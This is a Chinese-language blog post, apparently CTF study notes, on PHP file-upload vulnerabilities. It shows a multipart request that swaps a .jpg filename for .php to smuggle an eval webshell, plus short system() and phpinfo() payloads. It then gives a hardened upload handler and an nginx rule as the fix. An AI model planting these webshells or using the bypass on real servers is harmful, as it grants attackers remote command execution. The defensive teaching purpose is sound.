Freya's Blog

1
找校验点 → 让文件落地 → 找到文件路径 → 想办法触发 → 拿到题目目标

1
原始请求：
2
POST /upload HTTP/1.1
3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
4

5
------WebKitFormBoundary
6
Content-Disposition: form-data; name="file"; filename="a.jpg"
7
Content-Type: image/jpeg
8

9
<?php @eval($_POST['1']); ?>
10

11
修改为：
12
------WebKitFormBoundary
13
Content-Disposition: form-data; name="file"; filename="a.php"
14
Content-Type: image/jpeg

1
<?php echo 'upload-ok'; ?>                         // 只验证 PHP 解析
2
<?php if (isset($_GET['cmd'])) system($_GET['cmd']); ?> // CTF 命令执行
3
<?php phpinfo(); ?>                                // 查看题目 PHP 环境

1
<?php
2
declare(strict_types=1);
3

4
const MAX_UPLOAD_BYTES = 5 * 1024 * 1024;
5
const MAX_IMAGE_PIXELS = 20000000;
6

7
if (!isset($_FILES['file'])
8
    || !is_array($_FILES['file'])
9
    || !isset($_FILES['file']['error'], $_FILES['file']['tmp_name'], $_FILES['file']['name'])
10
    || is_array($_FILES['file']['error'])
11
    || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
12
    http_response_code(400);
13
    exit('upload failed');
14
}
15

16
$file = $_FILES['file'];
17
$tmp = $file['tmp_name'];
18
$size = filesize($tmp);
19

20
if (!is_uploaded_file($tmp) || $size === false || $size > MAX_UPLOAD_BYTES) {
21
    http_response_code(400);
22
    exit('invalid upload');
23
}
24

25
$allowed = [
26
    'jpg' => ['mime' => 'image/jpeg', 'type' => IMAGETYPE_JPEG],
27
    'png' => ['mime' => 'image/png',  'type' => IMAGETYPE_PNG],
28
    'gif' => ['mime' => 'image/gif',  'type' => IMAGETYPE_GIF],
29
];
30

31
$ext = strtolower(pathinfo((string) $file['name'], PATHINFO_EXTENSION));
32
if (!isset($allowed[$ext])) {
33
    http_response_code(415);
34
    exit('unsupported extension');
35
}
36

37
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($tmp);
38
$info = @getimagesize($tmp);
39
$expected = $allowed[$ext];
40

41
if ($info === false
42
    || $mime !== $expected['mime']
43
    || $info[2] !== $expected['type']
44
    || $info[0] * $info[1] > MAX_IMAGE_PIXELS) {
45
    http_response_code(415);
46
    exit('invalid image');
47
}
48

49
switch ($info[2]) {
50
    case IMAGETYPE_JPEG:
51
        $image = @imagecreatefromjpeg($tmp);
52
        break;
53
    case IMAGETYPE_PNG:
54
        $image = @imagecreatefrompng($tmp);
55
        break;
56
    case IMAGETYPE_GIF:
57
        $image = @imagecreatefromgif($tmp);
58
        break;
59
    default:
60
        $image = false;
61
}
62

63
if ($image === false) {
64
    http_response_code(415);
65
    exit('decode failed');
66
}
67

68
// UPLOAD_DIR 应位于 Web 根目录外，并预先设置最小权限。
69
$name = bin2hex(random_bytes(16)) . '.' . $ext;
70
$path = rtrim(UPLOAD_DIR, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name;
71

72
switch ($info[2]) {
73
    case IMAGETYPE_JPEG:
74
        $saved = imagejpeg($image, $path, 90);
75
        break;
76
    case IMAGETYPE_PNG:
77
        $saved = imagepng($image, $path, 6);
78
        break;
79
    case IMAGETYPE_GIF:
80
        $saved = imagegif($image, $path);
81
        break;
82
    default:
83
        $saved = false;
84
}
85
imagedestroy($image);
86

87
if (!$saved) {
88
    http_response_code(500);
89
    exit('save failed');
90
}
91

92
echo $name;

1
location ^~ /uploads/ {
2
    types { }
3
    default_type application/octet-stream;
4
    add_header X-Content-Type-Options nosniff always;
5
    try_files $uri =404;
6
}